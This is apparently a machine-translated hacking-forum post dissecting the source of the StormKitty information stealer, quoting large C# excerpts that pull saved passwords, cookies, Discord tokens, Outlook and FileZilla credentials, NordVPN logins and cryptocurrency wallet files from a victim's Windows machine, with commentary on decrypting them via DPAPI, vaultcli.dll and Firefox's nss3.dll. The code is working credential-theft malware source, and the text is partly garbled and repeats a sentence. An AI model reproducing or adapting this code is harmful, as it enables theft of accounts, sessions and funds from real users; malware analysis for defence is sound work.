AES in GCM mode is implemented using the library "bcrypt.dll" built into the operating system (the implementation can be found in the files "AesGcm.cs" and "Bcrypt.cs"), the description of individual functions and structures of this library can be found on MSDN (describe them in the article would take a very long time). All information valuable to the stealer is stored either in SQLite files or in JSON files and can be stored either in open or encrypted form, depending on what kind of information is specific. The author of the stealer did not bother to use a ready-made JSON parser or write your own mini-parser for JSON (by God, it is very easy to parse JSON), so he parses everything through regular expressions, which can be considered shitty code.The parser for SQLite, apparently, was hastily ported from VB.NET (it is clearly not written in C #, I seem to have seen implementations in VB.NET in some public warrior, probably it was taken from there) and looks just awful, but it probably works more or less fine. For the sake of completeness, it remains only to look at where what information comes from and by what methods in the stub code (all the functionality associated with the "lame" is in the "Targets \ Browsers \ Chromium" project subfolder).where does what information come from and by what methods in the stub code (all functionality associated with the "lame" one is in the subfolder of the "Targets \ Browsers \ Chromium" project).where does what information come from and by what methods in the stub code (all functionality associated with the "lame" one is in the subfolder of the "Targets \ Browsers \ Chromium" project).

C #: Copy to clipboard

Code:
List <CreditCard> pCreditCards = CreditCards.Get (sProfile + "\\ Web Data");

List <Password> pPasswords = Passwords.Get (sProfile + "\\ Login Data");

List <Cookie> pCookies = Cookies.Get (sProfile + "\\ Cookies");

List <Site> pHistory = History.Get (sProfile + "\\ History");

List <Site> pDownloads = Downloads.Get (sProfile + "\\ History");

List <AutoFill> pAutoFill = Autofill.Get (sProfile + "\\ Web Data");

List <Bookmark> pBookmarks = Bookmarks.Get (sProfile + "\\ Bookmarks");

The third thread retrieves useful information from the Firefox browser. In the fox, passwords are encrypted with a rather cunning algorithm, which they (the fox's developers) call PK11SDR. It’s not really that easy to implement, so the developers of many stealers simply use the function “PK11SDR_Decrypt” exported from the “nss3.dll” library of the “fox” itself. To do this, you need to find the path where the "fox" is installed and load the "mozglue.dll" library from there (since the "nss3.dll" library depends on it), and then the "nss3.dll" library itself. Before we get into how to call this function, we need to understand the advantages and disadvantages of this method. Of course, the fact that this library is always with the installed "fox" is good, and we do not need to implement a complex algorithm ourselves or carry a large library with us for decryption.However, it is worth noting that the release version of the stub is built in x64 mode (not x86 or AnyCPU), that is, the stub will run as a 64-bit process. In the event that a 32-bit version of the "fox" is installed on the victim's computer, the 64-bit stub process will simply not be able to load these dynamic libraries necessary for decryption. And this is a rather fat minus. In addition, it is likely that for some antiviruses, an attempt by a random process to load dynamic libraries from the "foxes" folder will be considered malicious behavior (but this of course needs to be checked). The exported function "PK11SDR_Decrypt" accepts cipher data as input and returns open data in the form of pointers to structures of the TSECItem type (you can use the "ref" modifier to transfer a pointer to a structure),which in turn contain a pointer to the buffers with data and the sizes of these buffers. The password decryption code is implemented in the "Decryptor.cs" file and is quite simple. Unless you could call these functions with a simple PInvoke after the "nss3.dll" library has been loaded into the process, so as not to mess with pointers and delegates. PInvoke will do exactly the same thing, but the author of the project probably simply did not know about it. Likewise with lame, valuable information is extracted from user profile files, which can be either in SQLite or JSON format, depending on the specific information. Let's take a look at which classes implement the receipt of which information from the following code snippet (all the functionality associated with the "fox" is in the "Targets \ Browsers \ Firefox" project subfolder).

C #: Copy to clipboard

Code:
List <Bookmark> bookmarks = Firefox.cBookmarks.Get (browser); // Read all Firefox bookmarks

List <Cookie> cookies = Firefox.cCookies.Get (browser); // Read all Firefox cookies

List <Site> history = Firefox.cHistory.Get (browser); // Read all Firefox history

List <Password> passwords = Firefox.cPasswords.Get (browser); // Read all Firefox passwords

The fourth thread deals with obtaining passwords from the good old "donkey" (aka Internet Explorer, write in the comments if you are a hard-core retrograde and still use XP and use the Internet Explorer browser). Everything is quite simple here: the "donkey" of the 11th version, along with other services and applications of the operating systems of the Windows family, stores passwords in the "Windows Vault" (operating system password store), but the version of the "donkey" below the 11th probably does not make sense at all to support these days. To access this repository, you can use the functions of the native library "vaultcli.dll". This is a relatively poorly documented thing, and the implementation was copied by Vladimir from other open source projects and, frankly, it looks very shitty coding (for example, what the hell is Reflection used for in this implementation is not clear at all,everything would be much simpler and more beautifully implemented without it). But speaking of implementation, there are a few important things to mention about this algorithm. The storage (this is our system) can store data of several different types, to get a specific value from the element structure (which has a type identifier) a nested function (a feature of the C # version 8.0 language like) was implemented called "GetVaultElementValue". The structure of one stored record differs between Windows 7 and Windows 8-10 operating systems. By code, all storages are first listed, then a handle is opened in a loop for each storage and the records of each specific storage are listed. And from each record, elements are obtained that correspond to the resource name, username and password. When you talk about it in words, the algorithm seems very simple (in principle, it is),but it still requires a lot of code to implement it due to the relatively inconvenient interface provided by the vaultcli.dll library. And again, the code of this algorithm copied and pasted by Vladimir is far from the best option that could have been. But the rich they are, so they are happy

C #: Copy to clipboard

Code:
public static List <Password> Get ()

{

List <Password> pPasswords = new List <Password> ();

var OSVersion = Environment.OSVersion.Version;

var OSMajor = OSVersion.Major;

var OSMinor = OSVersion.Minor;

Type VAULT_ITEM;

if (OSMajor> = 6 && OSMinor> = 2)

{

VAULT_ITEM = typeof (VaultCli.VAULT_ITEM_WIN8);

}

else

{

VAULT_ITEM = typeof (VaultCli.VAULT_ITEM_WIN7);

}

/ * Helper function to extract the ItemValue field from a VAULT_ITEM_ELEMENT struct * /

object GetVaultElementValue (IntPtr vaultElementPtr)

{

object results;

object partialElement = Marshal.PtrToStructure (vaultElementPtr, typeof (VaultCli.VAULT_ITEM_ELEMENT));

FieldInfo partialElementInfo = partialElement.GetType (). GetField ("Type");

var partialElementType = partialElementInfo.GetValue (partialElement);

IntPtr elementPtr = (IntPtr) (vaultElementPtr.ToInt64 () + 16);

switch ((int) partialElementType)

{

case 7: // VAULT_ELEMENT_TYPE == String; These are the plaintext passwords!

IntPtr StringPtr = Marshal.ReadIntPtr (elementPtr);

results = Marshal.PtrToStringUni (StringPtr);

break;

case 0: // VAULT_ELEMENT_TYPE == bool

results = Marshal.ReadByte (elementPtr);

results = (bool) results;

break;

case 1: // VAULT_ELEMENT_TYPE == Short

results = Marshal.ReadInt16 (elementPtr);

break;

case 2: // VAULT_ELEMENT_TYPE == Unsigned Short

results = Marshal.ReadInt16 (elementPtr);

break;

case 3: // VAULT_ELEMENT_TYPE == Int

results = Marshal.ReadInt32 (elementPtr);

break;

case 4: // VAULT_ELEMENT_TYPE == Unsigned Int

results = Marshal.ReadInt32 (elementPtr);

break;

case 5: // VAULT_ELEMENT_TYPE == Double

results = Marshal.PtrToStructure (elementPtr, typeof (Double));

break;

case 6: // VAULT_ELEMENT_TYPE == GUID

results = Marshal.PtrToStructure (elementPtr, typeof (Guid));

break;

case 12: // VAULT_ELEMENT_TYPE == Sid

IntPtr sidPtr = Marshal.ReadIntPtr (elementPtr);

var sidObject = new System.Security.Principal.SecurityIdentifier (sidPtr);

results = sidObject.Value;

break;

default:

/ * Several VAULT_ELEMENT_TYPES are currently unimplemented according to

* Lord Graeber. Thus we do not implement them. * /

results = null;

break;

}

return results;

}

/ * End helper function * /

Int32 vaultCount = 0;

IntPtr vaultGuidPtr = IntPtr.Zero;

var result = VaultCli.VaultEnumerateVaults (0, ref vaultCount, ref vaultGuidPtr);

// var result = CallVaultEnumerateVaults (VaultEnum, 0, ref vaultCount, ref vaultGuidPtr);

if ((int) result! = 0)

{

throw new Exception ("[ERROR] Unable to enumerate vaults. Error (0x" + result.ToString () + ")");

}

// Create dictionary to translate Guids to human readable elements

IntPtr guidAddress = vaultGuidPtr;

Dictionary <Guid, string> vaultSchema = new Dictionary <Guid, string> ();

vaultSchema.Add (new Guid ("2F1A6504-0641-44CF-8BB5-3612D865F2E5"), "Windows Secure Note");

vaultSchema.Add (new Guid ("3CCD5499-87A8-4B10-A215-608888DD3B55"), "Windows Web Password Credential");

vaultSchema.Add (new Guid ("154E23D0-C644-4E6F-8CE6-5069272F999F"), "Windows Credential Picker Protector");

vaultSchema.Add (new Guid ("4BF4C442-9B8A-41A0-B380-DD4A704DDB28"), "Web Credentials");

vaultSchema.Add (new Guid ("77BC582B-F0A6-4E15-4E80-61736B6F3B29"), "Windows Credentials");

vaultSchema.Add (new Guid ("E69D7838-91B5-4FC9-89D5-230D4D4CC2BC"), "Windows Domain Certificate Credential");

vaultSchema.Add (new Guid ("3E0E35BE-1B77-43E7-B873-AED901B6275B"), "Windows Domain Password Credential");

vaultSchema.Add (new Guid ("3C886FF3-2669-4AA2-A8FB-3F6759A77548"), "Windows Extended Credential");

vaultSchema.Add (new Guid ("00000000-0000-0000-0000-000000000000"), null);

for (int i = 0; i <vaultCount; i ++)

{

// Open vault block

object vaultGuidString = Marshal.PtrToStructure (guidAddress, typeof (Guid));

Guid vaultGuid = new Guid (vaultGuidString.ToString ());

guidAddress = (IntPtr) (guidAddress.ToInt64 () + Marshal.SizeOf (typeof (Guid)));

IntPtr vaultHandle = IntPtr.Zero;

string vaultType;

if (vaultSchema.ContainsKey (vaultGuid))

{

vaultType = vaultSchema [vaultGuid];

}

else

{

vaultType = vaultGuid.ToString ();

}

result = VaultCli.VaultOpenVault (ref vaultGuid, (UInt32) 0, ref vaultHandle);

if (result! = 0)

{

Console.WriteLine ("Unable to open the following vault:" + vaultType + ". Error: 0x" + result.ToString ());

continue;

}

// Vault opened successfully! Continue.

// Fetch all items within Vault

int vaultItemCount = 0;

IntPtr vaultItemPtr = IntPtr.Zero;

result = VaultCli.VaultEnumerateItems (vaultHandle, 512, ref vaultItemCount, ref vaultItemPtr);

if (result! = 0)

{

Console.WriteLine ("[ERROR] Unable to enumerate vault items from the following vault:" + vaultType + ". Error 0x" + result.ToString ());

continue;

}

var structAddress = vaultItemPtr;

if (vaultItemCount> 0)

{

// For each vault item ...

for (int j = 1; j <= vaultItemCount; j ++)

{

// Begin fetching vault item ...

var currentItem = Marshal.PtrToStructure (structAddress, VAULT_ITEM);

structAddress = (IntPtr) (structAddress.ToInt64 () + Marshal.SizeOf (VAULT_ITEM));

IntPtr passwordVaultItem = IntPtr.Zero;

// Field Info retrieval

FieldInfo schemaIdInfo = currentItem.GetType (). GetField ("SchemaId");

Guid schemaId = new Guid (schemaIdInfo.GetValue (currentItem) .ToString ());

FieldInfo pResourceElementInfo = currentItem.GetType (). GetField ("pResourceElement");

IntPtr pResourceElement = (IntPtr) pResourceElementInfo.GetValue (currentItem);

FieldInfo pIdentityElementInfo = currentItem.GetType (). GetField ("pIdentityElement");

IntPtr pIdentityElement = (IntPtr) pIdentityElementInfo.GetValue (currentItem);

IntPtr pPackageSid = IntPtr.Zero;

if (OSMajor> = 6 && OSMinor> = 2)

{

// Newer versions have package sid

FieldInfo pPackageSidInfo = currentItem.GetType (). GetField ("pPackageSid");

pPackageSid = (IntPtr) pPackageSidInfo.GetValue (currentItem);

result = VaultCli.VaultGetItem_WIN8 (vaultHandle, ref schemaId, pResourceElement, pIdentityElement, pPackageSid, IntPtr.Zero, 0, ref passwordVaultItem);

} else {

result = VaultCli.VaultGetItem_WIN7 (vaultHandle, ref schemaId, pResourceElement, pIdentityElement, IntPtr.Zero, 0, ref passwordVaultItem);

}

if (result! = 0)

{

Console.WriteLine ("Error occured while retrieving vault item. Error: 0x" + result.ToString ());

continue;

}

object passwordItem = Marshal.PtrToStructure (passwordVaultItem, VAULT_ITEM);

FieldInfo pAuthenticatorElementInfo = passwordItem.GetType (). GetField ("pAuthenticatorElement");

IntPtr pAuthenticatorElement = (IntPtr) pAuthenticatorElementInfo.GetValue (passwordItem);

Password pPassword = new Password ();

object resource = GetVaultElementValue (pResourceElement);

if (resource! = null)

pPassword.sUrl = resource.ToString ();

object identity = GetVaultElementValue (pIdentityElement);

if (identity! = null)

pPassword.sUsername = identity.ToString ();

object cred = GetVaultElementValue (pAuthenticatorElement);

if (cred! = null)

pPassword.sPassword = cred.ToString ();

Counter.Passwords ++;

pPasswords.Add (pPassword);

}

}

}

return pPasswords;

}

The fifth thread gets Discord tokens, I don't really understand why anyone needs them, probably this is also done for an additional tick in the list of stealer features. For this, directories with files that may contain tokens are copied to the temporary files folder of the current user (well, "% TEMP%"). Then the copied folders are searched for files with the extensions "log" and "ldb", inside which, using a regular expression, all strings that look like tokens are searched for. In this case, all files are read as text, despite the fact that the LevelDB format seems to be binary, if I don't confuse anything. Searching with regular expressions for some text among binary data is such a task, but, probably, it should work more or less (the implementation of this algorithm is in the file "Discord.cs").

C #: Copy to clipboard

Code:
private static Regex TokenRegex = new Regex (@ "[a-zA-Z0-9] {24} \. [a-zA-Z0-9] {6} \. [a-zA-Z0-9 _ \ -] { 27} | mfa \. [A-zA-Z0-9 _ \ -] {84} ");

private static string [] DiscordDirectories = new string [] {

"Discord \\ Local Storage \\ leveldb",

"Discord PTB \\ Local Storage \\ leveldb",

"Discord Canary \\ leveldb",

};

/ * ... * /

public static string [] GetTokens ()

{

List <string> tokens = new List <string> ();

try

{

foreach (string dir in DiscordDirectories)

{

string directory = Path.Combine (Paths.appdata, dir);

string cpdirectory = Path.Combine (Path.GetTempPath (), new DirectoryInfo (directory) .Name);

if (! Directory.Exists (directory))

continue;

Filemanager.CopyDirectory (directory, cpdirectory);

foreach (string file in Directory.GetFiles (cpdirectory))

{

if (! file.EndsWith (". log") &&! file.EndsWith (". ldb"))

continue;

string text = File.ReadAllText (file);

Match match = TokenRegex.Match (text);

if (match.Success)

tokens.Add ($ "{match.Value} - {TokenState (match.Value)}");

}

Filemanager.RecursiveDelete (cpdirectory);

}

}

catch (Exception ex) {Console.WriteLine (ex); }

return tokens.ToArray ();

}

The sixth stream receives accounts and passwords stored in the Pidgin messenger. Everything is extremely simple here, Pidgin stores this information in clear form in the file "accounts.xml", and for the XML format (in contrast to the JSON format) there are ready-made parsers built into the dotnet framework. In addition, logs are also dumped for Pidgin. Implementations of these extremely simple algorithms can be found in the Pidgin.cs file.

C #: Copy to clipboard

Code:
private static void GetAccounts (string sSavePath)

{

string accounts = Path.Combine (PidginPath, "accounts.xml");

if (! File.Exists (accounts)) return;

try

{

XmlDocument xml = new XmlDocument ();

xml.Load (new XmlTextReader (accounts));

foreach (XmlNode nl in xml.DocumentElement.ChildNodes)

{

var Protocol = nl.ChildNodes [0] .InnerText;

var Login = nl.ChildNodes [1] .InnerText;

var Password = nl.ChildNodes [2] .InnerText;

if (! string.IsNullOrEmpty (Protocol) &&! string.IsNullOrEmpty (Login) &&! string.IsNullOrEmpty (Password))

{

SBTwo.AppendLine ($ "Protocol: {Protocol}");

SBTwo.AppendLine ($ "Username: {Login}");

SBTwo.AppendLine ($ "Password: {Password} \ r \ n");

Counter.Pidgin ++;

}

else

break;

}

if (SBTwo.Length> 0)

{

Directory.CreateDirectory (sSavePath);

File.AppendAllText (sSavePath + "\\ accounts.txt", SBTwo.ToString ());

}

}

catch (Exception ex) {StormKitty.Logging.Log ("Pidgin >> Failed to collect accounts \ n" + ex); }

}

The seventh stream decrypts saved accounts and passwords from the Microsoft Outlook mail client. This very "soft" Outlook, depending on the version, stores information about accounts and passwords in registry keys. Passwords are encrypted using DPAPI, the rest of the information is present in the registry in clear text. Honestly, I can't imagine why this was done, but Outlook adds one byte to the beginning before writing the encrypted password to the registry. Perhaps this byte means something to Outlook, but the stealers do not care about it, it is simply discarded, and the remaining cipher data buffer is decrypted using DPAPI. Remember, in the section on lame, I mentioned a convenient static method for decrypting DPAPI in a dotnet framework - "ProtectedData.Unprotect"? So here our Vladimir from Ukraine was honored to use it.Why is that? One gets the impression that he just dumped and / or ported the code from other stealer projects and did not really think about the result and the adequacy of the code. The implementation of this can be found in the "Outlook.cs" file.

C #: Copy to clipboard

Code:
private static Regex mailClient = new Regex (@ "^ ([a-zA-Z0-9 _ \ - \.] +) @ ([a-zA-Z0-9 _ \ - \.] +) \. ([a- zA-Z] {2,5}) $ ");

private static Regex smptClient = new Regex (@ "^ (?!: \ / \ /) ([a-zA-Z0-9 -_] + \.) * [a-zA-Z0-9] [a-zA -Z0-9 -_] + \. [A-zA-Z] {2,11}? $ ");

public static void GrabOutlook (string sSavePath)

{

string data = "";

string [] RegDirecories = new string []

{

"Software \\ Microsoft \\ Office \\ 15.0 \\ Outlook \\ Profiles \\ Outlook \\ 9375CFF0413111d3B88A00104B2A6676",

"Software \\ Microsoft \\ Office \\ 16.0 \\ Outlook \\ Profiles \\ Outlook \\ 9375CFF0413111d3B88A00104B2A6676",

"Software \\ Microsoft \\ Windows NT \\ CurrentVersion \\ Windows Messaging Subsystem \\ Profiles \\ Outlook \\ 9375CFF0413111d3B88A00104B2A6676",

"Software \\ Microsoft \\ Windows Messaging Subsystem \\ Profiles \\ 9375CFF0413111d3B88A00104B2A6676"

};

string [] mailClients = new string []

{

"SMTP Email Address", "SMTP Server", "POP3 Server",

"POP3 User Name", "SMTP User Name", "NNTP Email Address",

"NNTP User Name", "NNTP Server", "IMAP Server", "IMAP User Name",

"Email", "HTTP User", "HTTP Server URL", "POP3 User",

"IMAP User", "HTTPMail User Name", "HTTPMail Server",

"SMTP User", "POP3 Password2", "IMAP Password2",

"NNTP Password2", "HTTPMail Password2", "SMTP Password2",

"POP3 Password", "IMAP Password", "NNTP Password",

"HTTPMail Password", "SMTP Password"

};

foreach (string dir in RegDirecories)

data + = Get (dir, mailClients);

if (! string.IsNullOrEmpty (data))

{

Counter.Outlook = true;

Directory.CreateDirectory (sSavePath);

File.WriteAllText (sSavePath + "\\ Outlook.txt", data + "\ r \ n");

}

}

private static string Get (string path, string [] clients)

{

string data = "";

try

{

foreach (string client in clients)

try

{

object value = GetInfoFromRegistry (path, client);

if (value! = null && client.Contains ("Password") &&! client.Contains ("2"))

data + = $ "{client}: {DecryptValue ((byte []) value)} \ r \ n";

else

if (smptClient.IsMatch (value.ToString ()) || mailClient.IsMatch (value.ToString ()))

data + = $ "{client}: {value} \ r \ n";

else

data + = $ "{client}: {Encoding.UTF8.GetString ((byte []) value) .Replace (Convert.ToChar (0) .ToString ()," ")} \ r \ n";

} catch {}

Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey (path, false);

string [] Clients = key.GetSubKeyNames ();

foreach (string client in Clients)

data + = $ "{Get ($" {path} \\ {client} ", clients)}";

} catch {}

return data;

}

private static object GetInfoFromRegistry (string path, string valueName)

{

object value = null;

try

{

Microsoft.Win32.RegistryKey registryKey = Microsoft.Win32.Registry.CurrentUser.OpenSubKey (path, false);

value = registryKey.GetValue (valueName);

registryKey.Close ();

} catch {}

return value;

}

private static string DecryptValue (byte [] encrypted)

{

try

{

byte [] decoded = new byte [encrypted.Length - 1];

Buffer.BlockCopy (encrypted, 1, decoded, 0, encrypted.Length - 1);

return Encoding.UTF8.GetString (

System.Security.Cryptography.ProtectedData.Unprotect (

decoded, null, System.Security.Cryptography.DataProtectionScope.CurrentUser))

.Replace (Convert.ToChar (0) .ToString (), "");

} catch {}

return "null";

}

The eighth and ninth streams collect Telegram and Skype sessions, respectively. For Telegram, the stealer copies the "tdata" folder and saves the corresponding files, and for Skype, the "Local Storage" directory is copied. The algorithms for all this are extremely simple and do not need further description, the implementation is in the files "Telegram.cs" and "Skype.cs", respectively.

The tenth and eleventh streams extract the sessions of Steam, Uplay, Battle.NET and a bunch of all sorts of unclear why you need files from Minecraft. The implementation of algorithms for the extraction of these data is located in the "Gaming" folder in separate files corresponding to each of the services. Again, there is nothing interesting here, just copying files and directories.

The twelfth stream deals with the extraction of data from cryptocurrency wallets. Depending on which program is used to access the wallet, it can be stored either on the file system or in the registry. In any case, the algorithm simply fetches data from the appropriate location, its implementation is in the "Wallets.cs" file.

C #: Copy to clipboard

Code:
// Wallets list directories

private static List <string []> sWalletsDirectories = new List <string []>

{

new string [] {"Zcash", Paths.appdata + "\\ Zcash"},

new string [] {"Armory", Paths.appdata + "\\ Armory"},

new string [] {"Bytecoin", Paths.appdata + "\\ bytecoin"},

new string [] {"Jaxx", Paths.appdata + "\\ com.liberty.jaxx \\ IndexedDB \\ file__0.indexeddb.leveldb"},

new string [] {"Exodus", Paths.appdata + "\\ Exodus \\ exodus.wallet"},

new string [] {"Ethereum", Paths.appdata + "\\ Ethereum \\ keystore"},

new string [] {"Electrum", Paths.appdata + "\\ Electrum \\ wallets"},

new string [] {"AtomicWallet", Paths.appdata + "\\ atomic \\ Local Storage \\ leveldb"},

new string [] {"Guarda", Paths.appdata + "\\ Guarda \\ Local Storage \\ leveldb"},

new string [] {"Coinomi", Paths.lappdata + "\\ Coinomi \\ Coinomi \\ wallets"},

};

// Wallets list from registry

private static string [] sWalletsRegistry = new string []

{

"Litecoin",

"Dash",

"Bitcoin"

};

// Write wallet.dat

public static void GetWallets (string sSaveDir)

{

try

{

Directory.CreateDirectory (sSaveDir);

foreach (string [] wallet in sWalletsDirectories)

CopyWalletFromDirectoryTo (sSaveDir, wallet [1], wallet [0]);

foreach (string wallet in sWalletsRegistry)

CopyWalletFromRegistryTo (sSaveDir, wallet);

if (Counter.Wallets == 0)

Filemanager.RecursiveDelete (sSaveDir);

} catch (System.Exception ex) {Logging.Log ("Wallets >> Failed collect wallets \ n" + ex); }

}

// Copy wallet files to directory

private static void CopyWalletFromDirectoryTo (string sSaveDir, string sWalletDir, string sWalletName)

{

string cdir = sWalletDir;

string sdir = Path.Combine (sSaveDir, sWalletName);

if (Directory.Exists (cdir))

{

Filemanager.CopyDirectory (cdir, sdir);

Counter.Wallets ++;

}

}

// Copy wallet from registry to directory

private static void CopyWalletFromRegistryTo (string sSaveDir, string sWalletRegistry)

{

string sdir = Path.Combine (sSaveDir, sWalletRegistry);

try

{

using (var registryKey = Registry.CurrentUser.OpenSubKey ("Software"). OpenSubKey (sWalletRegistry) .OpenSubKey ($ "{sWalletRegistry} -Qt"))

{

if (registryKey! = null)

{

string cdir = registryKey.GetValue ("strDataDir"). ToString () + "\\ wallets";

if (Directory.Exists (cdir))

{

Filemanager.CopyDirectory (cdir, sdir);

Counter.Wallets ++;

}

}

}

}

catch (System.Exception ex) {Logging.Log ("Wallets >> Failed collect wallet from registry \ n" + ex); }

}

The thirteenth stream collects saved accounts and passwords from the FileZilla FTP client. The FileZilla client stores this information in several XML files in cleartext (the password is covered by BASE64, but this is the same as the openform). The implementation of this algorithm is in the file "Filezilla.cs", for parsing XML, the classes built into the framework are used.

C #: Copy to clipboard

Code:
// Get filezilla .xml files

private static string [] GetPswPath ()

{

string fz = Environment.GetFolderPath (Environment.SpecialFolder.ApplicationData) + @ "\ FileZilla \";

return new string [] {fz + "recentservers.xml", fz + "sitemanager.xml"};

}

private static List <Password> Steal (string sSavePath)

{

List <Password> lpPasswords = new List <Password> ();

string [] files = GetPswPath ();

// If files not exists

if (! File.Exists (files [0]) &&! File.Exists (files [1]))

return lpPasswords;

foreach (string pwFile in files)

{

try

{

if (! File.Exists (pwFile))

continue;

// Open xml document

XmlDocument xDOC = new XmlDocument ();

xDOC.Load (pwFile);

foreach (XmlNode xNode in xDOC.GetElementsByTagName ("Server"))

{

Password pPassword = new Password ();

pPassword.sUrl = "ftp: //" + xNode ["Host"]. InnerText + ":" + xNode ["Port"]. InnerText + "/";

pPassword.sUsername = xNode ["User"]. InnerText;

pPassword.sPassword = Encoding.UTF8.GetString (Convert.FromBase64String (xNode ["Pass"]. InnerText));

Counter.FTPHosts ++;

lpPasswords.Add (pPassword);

}

// Copy file

File.Copy (pwFile, Path.Combine (sSavePath, new FileInfo (pwFile) .Name));

}

catch (Exception ex) {StormKitty.Logging.Log ("Filezilla >> Failed collect passwords \ n" + ex); }

}

return lpPasswords;

}

The fourteenth thread deals with three different VPN services, the implementation of the algorithms for each service are in the "VPN" folder with the corresponding source code file names by service name. For ProtonVPN, all files with the name "user.config" are copied, for OpenVPN, files with the "ovpn" extension are copied. A more complex algorithm has been made for NordVPN. It reads the “user.config” file (an XML file), finds entries in it that match the login and password, then decrypts them using BASE64 and DPAPI. Again, in this particular case, Vladimir uses exactly "ProtectedData.Unprotect" to decrypt DPAPI.

C #: Copy to clipboard

Code:
private static string Decode (string s)

{

try {

return Encoding.UTF8.GetString (ProtectedData.Unprotect (Convert.FromBase64String (s), null, DataProtectionScope.LocalMachine));

} catch {

return "";

}

}

// Save ("NordVPN");

public static void Save (string sSavePath)

{

// "NordVPN" directory path

DirectoryInfo vpn = new DirectoryInfo (Path.Combine (Paths.lappdata, "NordVPN"));

// Stop if not exists

if (! vpn.Exists)

return;

try

{

Directory.CreateDirectory (sSavePath);

// Search user.config

foreach (DirectoryInfo d in vpn.GetDirectories ("NordVpn.exe *"))

foreach (DirectoryInfo v in d.GetDirectories ())

{

string userConfigPath = Path.Combine (v.FullName, "user.config");

if (File.Exists (userConfigPath))

{

// Create directory with VPN version to collect accounts

Directory.CreateDirectory (sSavePath + "\\" + v.Name);

var doc = new XmlDocument ();

doc.Load (userConfigPath);

string encodedUsername = doc.SelectSingleNode ("// setting [@ name = 'Username'] / value"). InnerText;

string encodedPassword = doc.SelectSingleNode ("// setting [@ name = 'Password'] / value"). InnerText;

if (encodedUsername! = null &&! string.IsNullOrEmpty (encodedUsername) &&

encodedPassword! = null &&! string.IsNullOrEmpty (encodedPassword))

{

string username = Decode (encodedUsername);

string password = Decode (encodedPassword);

Counter.VPN ++;

File.AppendAllText (sSavePath + "\\" + v.Name + "\\ accounts.txt", $ "Username: {username} \ nPassword: {password} \ n \ n");

}

}

}

}

catch {}

}

The rest of the streams receive various information about the operating system and the victim's computer, take screenshots and webcams (we have already covered this earlier), scan the local network, and so on. The vast majority of similar code can be found on Google and StackOverflow

All parsers above have one problem - you need to know in advance the number of values in a JSON object. You can allocate memory with a margin, but it seems to me better that the parser itself allocates memory for all values at once. The number of values can probably be counted by the number of characters "\": "

JSON parser:
https://github.com/rafagafe/tiny-json
https://github.com/zserge/jsmn
https://github.com/udp/json-parser Tested and successfully used in all versions of the known locker.
 
Last edited by a moderator:
Top